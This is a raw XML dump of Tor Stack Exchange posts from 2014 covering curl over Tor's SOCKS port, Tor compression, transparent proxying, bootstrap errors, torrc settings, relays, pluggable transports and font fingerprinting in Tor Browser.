  <row Id="1596" PostTypeId="1" CreationDate="2014-02-23T19:21:39.893" Score="10" ViewCount="18914" Body="&lt;p&gt;I installed a tor relay on debian wheezy and it runs fine. Now I want to use curl and I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 127.0.0.1:9150 http://www.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it couldn't connect to the host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I start the tor-browser-bundle it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it without the bundle?&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2016-10-31T14:22:07.540" Title="Using curl over a normal tor installation, not tor-browser-bundle, on debian wheezy" Tags="|relays|socks|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1598" PostTypeId="1" CreationDate="2014-02-23T23:39:10.060" Score="4" ViewCount="616" Body="&lt;p&gt;Just curious if out of the box does Tor use a Gzip or any other kind of compression? I have done some searches but find only discussions about the Hidden Service directory.&lt;/p&gt;&#xA;" OwnerUserId="590" LastEditorUserId="923" LastEditDate="2014-02-28T20:08:09.743" LastActivityDate="2014-02-28T20:08:09.743" Title="Does Tor use compression?" Tags="|circuit|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1601" PostTypeId="1" AcceptedAnswerId="1602" CreationDate="2014-02-24T13:35:42.790" Score="4" ViewCount="4178" Body="&lt;p&gt;I want to make a web-service that is going to make requests to various other servers. However, I don't want those servers to be able to pinpoint the location/IP address of my service (As a SPAM prevention method, along with other things).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if it's possible to set a server box (Be it dedicated or VPS, with a popular linux distro) to run all outgoing connections via Tor (ideally silently and separately from the service that makes the requests).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result should be that using a simple cURL or other HTTP requests from the server would run through Tor and as such would be anonymized. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Am I barking up the wrong tree? If it is, could you provide with pointers/articles that can help me implement this?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;sub&gt;Note: This is all still theoretical. I don't have the server or the service yet, so I can implement it in any way I need for this to work.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="521" LastActivityDate="2016-04-22T14:33:34.290" Title="Can Tor be configured to run on all outgoing connections on a server?" Tags="|server-administration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1602" PostTypeId="2" ParentId="1601" CreationDate="2014-02-24T17:35:08.840" Score="4" Body="&lt;p&gt;Follow the guide in Tor wiki for 'Transparently Doing DNS and Routing for .onion Traffic' here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;substitute the Ip in the guide with your own local IP.&#xA;I've been using it many times on Debian and ubuntu to route all traffic on the machine through tor, works great.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-02-24T17:35:08.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1604" PostTypeId="2" ParentId="1598" CreationDate="2014-02-24T20:07:03.273" Score="2" Body="&lt;p&gt;From the source code on GitHub I did a search for &quot;gzip&quot; and found the compression code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/katmagic/Tor/search?q=gzip&amp;amp;ref=cmdform&quot; rel=&quot;nofollow&quot;&gt;https://github.com/katmagic/Tor/search?q=gzip&amp;amp;ref=cmdform&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After searching a bit more I was unable to find their compression routines called from anywhere but within the directory. &lt;strong&gt;It appears Tor is only using compression for the directory tables&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="590" LastActivityDate="2014-02-24T20:07:03.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1605" PostTypeId="2" ParentId="1596" CreationDate="2014-02-24T20:09:56.693" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;a tor relay&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This may not be running as a Tor node you can connect on. If Tor is installed you should be able to run it on the command line with no other options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then test with the &lt;code&gt;curl&lt;/code&gt; command you have above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 127.0.0.1:9150 http://www.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the console window you ran &lt;code&gt;tor&lt;/code&gt; in you should see information about the Tor circuit and connections. Leave it open for up to 2 minutes and see if it outputs a message about the timeout. If the message says &quot;waiting for info&quot; then the SOCKS5 ports are likely wrong.&lt;/p&gt;&#xA;" OwnerUserId="590" LastActivityDate="2014-02-24T20:09:56.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1606" PostTypeId="2" ParentId="1596" CreationDate="2014-02-24T23:15:16.997" Score="8" Body="&lt;p&gt;The main problem seems the port you are using. According to your command you're using port &lt;code&gt;9150&lt;/code&gt; which is used by Tor Browser Bundle. If the bundle is closed, this port is not open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the default configuration Tor uses port &lt;code&gt;9050&lt;/code&gt; as &lt;code&gt;SocksPort&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5-hostname 127.0.0.1:9050 https://www.torproject.org/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -x socks5h://127.0.0.1:9050/ https://www.torproject.org/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;torrc&lt;/code&gt; should contain the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This enables the port which Tor uses for SOCKS connections and what is used with the command above.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-10-31T14:22:07.540" LastActivityDate="2016-10-31T14:22:07.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1607" PostTypeId="2" ParentId="1598" CreationDate="2014-02-24T23:34:10.487" Score="1" Body="&lt;p&gt;Tor encrypts its connections from the client to relays or from relay to another. Encrypted data looks like random data to an outsider. This is a very bad case for compression, because the compression algorithm finds very few similarities to put together. So encrypted data can hardly be compressed. It is more the opposite. Usually encrypted and then compressed data are usually bigger than encrypted data alone. Thatswhy it makes no sense for Tor to compress its data during transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was asked in the comments if Tor couldn't compress first and than encrypt. Tor operates on &lt;a href=&quot;https://en.wikipedia.org/wiki/TCP/IP&quot; rel=&quot;nofollow&quot;&gt;TCP&lt;/a&gt; packets. This is the &lt;a href=&quot;https://en.wikipedia.org/wiki/Transport_layer&quot; rel=&quot;nofollow&quot;&gt;transport level&lt;/a&gt;. Tor doesn't know about protocols at the &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_layer&quot; rel=&quot;nofollow&quot;&gt;application layer&lt;/a&gt;, like HTTP. But data compression is handled on the application level. For instance a browser could tell the server that it supports gzip compression and the server sends compressed data. If Tor should handle those things it must know every protocol at the application level (HTTP, SMTP, IMAP, DNS etc.), negotiate compression and so on. This would heavily enlarge the binary, probably introduce a large number of bugs and Tor has to do things what an application like a browser, mail client etc. could do better.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-02-25T10:09:05.397" LastActivityDate="2014-02-25T10:09:05.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1608" PostTypeId="1" CreationDate="2014-02-25T00:41:54.927" Score="1" ViewCount="54" Body="&lt;p&gt;According to the Tor documents, Tor builds 2 circuits for each predicted port. I checked the source code to find out how it can understand that it has already built one or two circuit for a predicted port. I checked the functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;circuit_predict_and_launch_new&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;circuit_all_predicted_ports_handled&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;circuit_get_unhandled_ports&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I could not understand its process for this issue, I mean there is no counter that shows the number of circuits built for a port. For example, 2 circuits have been built for port 80.&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorDisplayName="user5" LastEditDate="2014-02-25T01:22:39.900" LastActivityDate="2014-02-25T01:22:39.900" Title="Pre-built circuits for a predicted port" Tags="|circuit|source-code|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1609" PostTypeId="1" CreationDate="2014-02-25T15:45:26.723" Score="1" ViewCount="7832" Body="&lt;p&gt;I am unable to connect to Tor recently. I have got following log:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;25-02-2014 20:53:08 PM.370 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.  &#xA;25-02-2014 20:53:08 PM.370 [NOTICE] Opening Socks listener on 127.0.0.1:9150  &#xA;25-02-2014 20:53:08 PM.710 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop.  &#xA;25-02-2014 21:03:23 PM.509 [NOTICE] Our directory information is no longer up-to-date enough to build circuits: We have no usable consensus.  &#xA;25-02-2014 21:05:36 PM.401 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 5; recommendation warn)  &#xA;25-02-2014 21:05:36 PM.402 [WARN] 5 connections have failed:  &#xA;25-02-2014 21:05:36 PM.402 [WARN]  3 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE  &#xA;25-02-2014 21:05:36 PM.402 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object)  &#xA;25-02-2014 21:05:36 PM.403 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its just fails to connect after showing Finishing Handshake with first Hop.&lt;br&gt;&#xA;What could be the problem ?&lt;br&gt;&#xA;Any help is appreciated.&lt;br&gt;&#xA;I am using Browser Bundle on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After using Bridges with Tor 2.3.25, I get:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 25 21:58:50.870 [Notice] Tor v0.2.3.25 (git-17c24b3118224d65) running on Windows 7.  &#xA;Feb 25 21:58:50.870 [Notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning  &#xA;Feb 25 21:58:50.870 [Notice] Read configuration file &quot;E:\Misc\Tor Old\Data\Tor\torrc&quot;.  &#xA;Feb 25 21:58:50.871 [Notice] Initialized libevent version 2.0.21-stable using method win32. Good.  &#xA;Feb 25 21:58:50.871 [Notice] Opening Socks listener on 127.0.0.1:9150  &#xA;Feb 25 21:58:50.871 [Notice] Opening Control listener on 127.0.0.1:9151  &#xA;Feb 25 21:58:50.871 [Notice] Parsing GEOIP file .\Data\Tor\geoip.  &#xA;Feb 25 21:58:56.030 [Notice] Bootstrapped 5%: Connecting to directory server.  &#xA;Feb 25 21:58:56.032 [Notice] Heartbeat: Tor's uptime is 0:00 hours, with 2 circuits open. I've sent 0 kB and received 0 kB.  &#xA;Feb 25 21:58:56.454 [Notice] Bootstrapped 10%: Finishing handshake with directory server.  &#xA;Feb 25 21:59:57.855 [Warning] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 2; recommendation warn)  &#xA;Feb 25 21:59:57.856 [Warning] 2 connections have failed:  &#xA;Feb 25 21:59:57.856 [Warning] 1 connections died in state connect()ing with SSL state (No SSL object)  &#xA;Feb 25 21:59:57.856 [Warning] 1 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1252" LastEditorUserId="923" LastEditDate="2014-02-25T19:12:13.643" LastActivityDate="2015-10-17T15:44:34.080" Title="Failed to connect Tor 3.5.2 on Windows" Tags="|tor-browser-bundle|windows|bridge|pluggable-transports|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-06-08T07:02:27.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="1611" PostTypeId="2" ParentId="795" CreationDate="2014-02-26T19:23:22.673" Score="2" Body="&lt;p&gt;The problem was in my torrc, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetwork 192.168.0.0/8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My bad. This should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetwork 192.168.0.0/16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;github.com is accurately &lt;code&gt;192.30.252.129&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enable the &lt;code&gt;debug&lt;/code&gt; in torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log debug file /var/log/tor/debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, first success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 27 02:01:48.000 [debug] {APP} parse_socks(): socks5: fqdn address type&#xA;Feb 27 02:01:48.000 [debug] {APP} connection_ap_handshake_rewrite_and_attach(): Client asked for github.com:0&#xA;Feb 27 02:01:48.000 [debug] {CIRC,APP} connection_ap_handshake_attach_circuit(): Attaching apconn to circ 52054 (stream 0 sec old).&#xA;Feb 27 02:01:48.000 [info] {CIRC,APP} exit circ (length 3): FreeManning(open) 0nTorRamdiskOnly(open) UWashingtonCSE(open)&#xA;Feb 27 02:01:48.000 [debug] {CIRC,APP} link_apconn_to_circ(): attaching new conn to circ. n_circ_id 52054.&#xA;Feb 27 02:01:48.000 [info] {APP} link_apconn_to_circ(): Looks like completed circuit to $43822309763046C1621BFE7E811E886C6061E510=UWashingtonCSE at 128.208.2.233 does allow optimistic data for connection to github.com&#xA;Feb 27 02:01:48.000 [debug] {APP} connection_ap_handshake_send_resolve(): Sending relay cell to begin stream 63006.&#xA;Feb 27 02:01:48.000 [debug] {OR} relay_send_command_from_edge(): delivering 11 cell forward.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second, after one second - Fails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 27 02:01:50.000 [debug] {NET} conn_read_callback(): socket 519 wants to read.&#xA;Feb 27 02:01:50.000 [debug] {NET} read_to_chunk(): Read 17 bytes. 17 on inbuf.&#xA;Feb 27 02:01:50.000 [debug] {APP} connection_ap_handshake_process_socks(): entered.&#xA;Feb 27 02:01:50.000 [debug] {APP} parse_socks(): socks5: checking request&#xA;Feb 27 02:01:50.000 [debug] {APP} parse_socks(): socks5: fqdn address type&#xA;Feb 27 02:01:50.000 [debug] {APP} connection_ap_handshake_rewrite_and_attach(): Client asked for github.com:0&#xA;Feb 27 02:01:50.000 [info] {APP} addressmap_rewrite(): Addressmap: rewriting &quot;github.com&quot; to &quot;192.30.252.131&quot;&#xA;Feb 27 02:01:50.000 [warn] {APP} Missing mapping for virtual address '192.30.252.131'. Refusing.&#xA;Feb 27 02:01:50.000 [debug] {NET} conn_close_if_marked(): Cleaning up connection (fd 519).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third fails too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 27 02:01:51.000 [debug] {APP} connection_ap_handshake_rewrite_and_attach(): Client asked for github.com:0&#xA;Feb 27 02:01:51.000 [info] {APP} addressmap_rewrite(): Addressmap: rewriting &quot;github.com&quot; to &quot;192.30.252.131&quot;&#xA;Feb 27 02:01:51.000 [warn] {APP} Missing mapping for virtual address '192.30.252.131'. Refusing.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Etc, but after a minute, one success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another instance of Tor returns me github's IP any times at line.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I found answer directly in the &lt;a href=&quot;http://tor.sourcearchive.com/documentation/0.2.3.4-alpha-1/connection__edge_8h_a089e626ea05b78585432718686a835e2.html&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (!automap &amp;amp;&amp;amp; address_is_in_virtual_range(socks-&amp;gt;address)) {&#xA;    /* This address was probably handed out by client_dns_get_unmapped_address,&#xA;     * but the mapping was discarded for some reason.  We *don't* want to send&#xA;     * the address through Tor; that's likely to fail, and may leak&#xA;     * information.&#xA;     */&#xA;    log_warn(LD_APP,&quot;Missing mapping for virtual address '%s'. Refusing.&quot;,&#xA;             safe_str_client(socks-&amp;gt;address));&#xA;    connection_mark_unattached_ap(conn, END_STREAM_REASON_INTERNAL);&#xA;    return -1;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check the declaration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* We set this to true if this is an address we should automatically&#xA;   * remap to a local address in VirtualAddrNetwork */&#xA;  int automap = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in last &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/or/connection_edge.c&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; it looks little differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob_plain/HEAD:/proposals/181-optimistic-data-client.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/blob_plain/HEAD:/proposals/181-optimistic-data-client.txt&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like each minute my request was &lt;code&gt;optimistic data&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="503" LastEditorUserId="503" LastEditDate="2014-02-26T19:29:29.403" LastActivityDate="2014-02-26T19:29:29.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1612" PostTypeId="2" ParentId="1356" CreationDate="2014-02-26T20:16:05.443" Score="2" Body="&lt;p&gt;I suggest running a Tor relay separate from your Tor Browser Bundle's Tor client instance.  This way, you can leave the relay up when you restart your Tor Browser Bundle, and the configurations won't collide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Mac OS X, you can use the &lt;a href=&quot;http://www.macports.org/&quot; rel=&quot;nofollow&quot; title=&quot;MacPorts&quot;&gt;MacPorts&lt;/a&gt; package system to 'sudo port install tor', or use &lt;a href=&quot;https://github.com/Homebrew/homebrew/wiki/installation&quot; rel=&quot;nofollow&quot; title=&quot;Homebrew&quot;&gt;Homebrew&lt;/a&gt; to 'brew install tor' or use &lt;a href=&quot;https://github.com/mtigas/homebrew-tor&quot; rel=&quot;nofollow&quot;&gt;Homebrew recipes for development versions of Tor&lt;/a&gt;.  See also &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-osx.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Project: Mac OS X Install Instructions&lt;/a&gt; for more Homebrew and configuration ideas. All those will install a system or user Tor binary for the relay to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Debian/Ubuntu, the &lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor relay configuration instructions&lt;/a&gt; state the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Do not use the packages in Ubuntu's universe.&lt;/strong&gt; If you're on Ubuntu or if you want to track newer Tor packages, follow the &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow&quot;&gt;Tor on Ubuntu or Debian&lt;/a&gt; instructions to use our repository.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On MS Windows, check the &lt;a href=&quot;https://www.torproject.org/dist/vidalia-bundles/&quot; rel=&quot;nofollow&quot;&gt;Tor Project's package repository&lt;/a&gt; for an appropriate relay bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all of those, you will want to also read up on &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow&quot;&gt;Configuring a Tor relay&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And most importantly, thank you for running a relay.&lt;/p&gt;&#xA;" OwnerUserId="314" LastEditorUserId="1538" LastEditDate="2014-04-08T06:44:09.613" LastActivityDate="2014-04-08T06:44:09.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1613" PostTypeId="2" ParentId="1112" CreationDate="2014-02-26T21:57:47.123" Score="1" Body="&lt;p&gt;This sounds like OP was hitting a bad exit relay. There has been some recent efforts to scan for such exits and flag them BadExit so they don't get used, but this will always be an occasional problem since new volunteer exit nodes can be added at any time. If this happens again, try selecting New Identity from the Tor Browser onion menu (or sending Tor the NEWNYM command some other way).&lt;/p&gt;&#xA;" OwnerUserId="1256" LastEditorUserId="923" LastEditDate="2014-07-04T14:27:33.837" LastActivityDate="2014-07-04T14:27:33.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1617" PostTypeId="2" ParentId="4727" CreationDate="2014-02-27T11:46:49.130" Score="3" Body="&lt;p&gt;From what you wrote in your question it seems that connections to the Tor network are blocked. So you need not only bridges, but also so-called &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transports&lt;/a&gt;. On the page you'll find a &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en#download&quot; rel=&quot;nofollow&quot;&gt;download area&lt;/a&gt;. Using this packages you should be able to connect to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore lately a technique called &lt;a href=&quot;http://www.cs.kau.se/philwint/scramblesuit/&quot; rel=&quot;nofollow&quot;&gt;ScrambleSuit&lt;/a&gt; was developed. This even works in this case of active probing. However at the moment you would need to compile the packages for yourself.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-27T11:46:49.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1618" PostTypeId="1" CreationDate="2014-02-27T19:45:58.130" Score="4" ViewCount="598" Body="&lt;p&gt;I want the Tor to just find the address of a hostname (just give me the IP) on a given circuit without be connected to that hostname. I find that the RELAY_CONNECTED cell includes the IP address of the requested hostname, but in this case the exit node is connected to the hostname and after that returns the IP. &#xA;According to the Tor Protocol Specification, the RELAY_RESOLVE finds the address associated with a hostname but I do not know how to use it in source code and how to find it.&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-06-03T14:16:05.720" Title="Finding the IP address of a hostname on a given circuit" Tags="|circuit|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1619" PostTypeId="1" CreationDate="2014-02-27T21:41:54.973" Score="2" ViewCount="795" Body="&lt;p&gt;I asked this on tor-talk (no answers) &amp;amp; through Tor email support (also no answer).  Suggested trying here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does changing the default font names or sizes used by TBB (3.51 - 3.5.2) for Windows, affect fingerprinting of TBB?  If so, how much &amp;amp; what all ways?&#xA;Problem - if one uses default settings for font styles / sizes, then text on some pages is UNcomfortably small for a fair number of users with any sight problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the fingerprinting issue - that's why I'm asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Options &gt; Content &gt; Advanced, the &lt;strong&gt;default&lt;/strong&gt; TBB settings are used (for Windows, English):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For Proportional -  Serif:  Times New Roman - size16.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Minimum size font:  size &quot;None&quot;  (meaning, some pages display tiny text.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Checked:  &quot;Allow pages to use their own fonts...&quot;  (if checked, some pages display tiny or less readable text, i.e., weird font.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What effect on TBB fingerprinting does changing any of these DEFAULT settings have:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-The proportional font NAME or SIZE?.&#xA;  -The minimum font size?&#xA;  -UNchecking the option:  &quot;Allow pages to use their own fonts...&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note:  more recent checking of browser (TBB 3,5,x) characteristics, on &lt;a href=&quot;http://ip-check.info&quot; rel=&quot;nofollow&quot;&gt;http://ip-check.info&lt;/a&gt; (JonDoNYM), &lt;a href=&quot;http://browserspy.dk/&quot; rel=&quot;nofollow&quot;&gt;http://browserspy.dk/&lt;/a&gt; or Panopticlick don't show any difference in SCREEN size, whether using TBB default font &amp;amp; size, or not.&#xA;AFAIK, No other (reported) characteristics are changed, either.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That &lt;strong&gt;doesn't mean&lt;/strong&gt; changing the font settings won't affect some other &quot;fingerprint&quot; characteristic (NOT shown by these sites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems * if * changing font settings &lt;strong&gt;increases&lt;/strong&gt; fingerprinting, TBB should spoof ? the values, for everyone (maybe it does?).&lt;/p&gt;&#xA;" OwnerUserId="1262" LastActivityDate="2014-03-17T22:00:29.873" Title="Fingerprint effect of changing TBB default font size" Tags="|tor-browser-bundle|configuration|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1621" PostTypeId="2" ParentId="1619" CreationDate="2014-02-27T23:59:35.647" Score="3" Body="&lt;p&gt;Changing the default font size and family can make your fingerprint unique, so it's strongly discouraged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cosic.esat.kuleuven.be/fpdetective/#results&quot; rel=&quot;nofollow&quot;&gt;Many sites use JavaScript based font probing&lt;/a&gt; to fingerprint users by  printing invisible strings with different fonts and then comparing the dimensions to that of fallback fonts [&lt;a href=&quot;http://www.lalit.org/lab/javascript-css-font-detect/&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;http://www.lalit.org/lab/javascript-css-font-detect/&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://lirias.kuleuven.be/bitstream/123456789/393661/1/?#page=4&quot; rel=&quot;nofollow&quot;&gt;3&lt;/a&gt;].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/2872&quot; rel=&quot;nofollow&quot;&gt;limits the number of fonts a page can use&lt;/a&gt;, but it doesn't spoof the dimensions of the printed strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a more advanced script may report the dimensions of the strings printed with different fonts. That would uniquely identify your browser, even the number of fonts available to the script is limited. Admittedly, that wouldn't be the most  effective fingerprinting method, but I wouldn't bet my anonymity on this.&lt;/p&gt;&#xA;" OwnerUserId="731" LastEditorUserId="731" LastEditDate="2014-03-17T22:00:29.873" LastActivityDate="2014-03-17T22:00:29.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1624" PostTypeId="2" ParentId="1536" CreationDate="2014-02-28T20:38:02.317" Score="1" Body="&lt;p&gt;You might find the TrackHostExits option useful:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This option is useful if you frequently connect to sites that will expire all your authentication cookies (i.e. log you out) if your IP address changes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="923" LastEditorUserId="88" LastEditDate="2014-03-31T12:01:39.300" LastActivityDate="2014-03-31T12:01:39.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
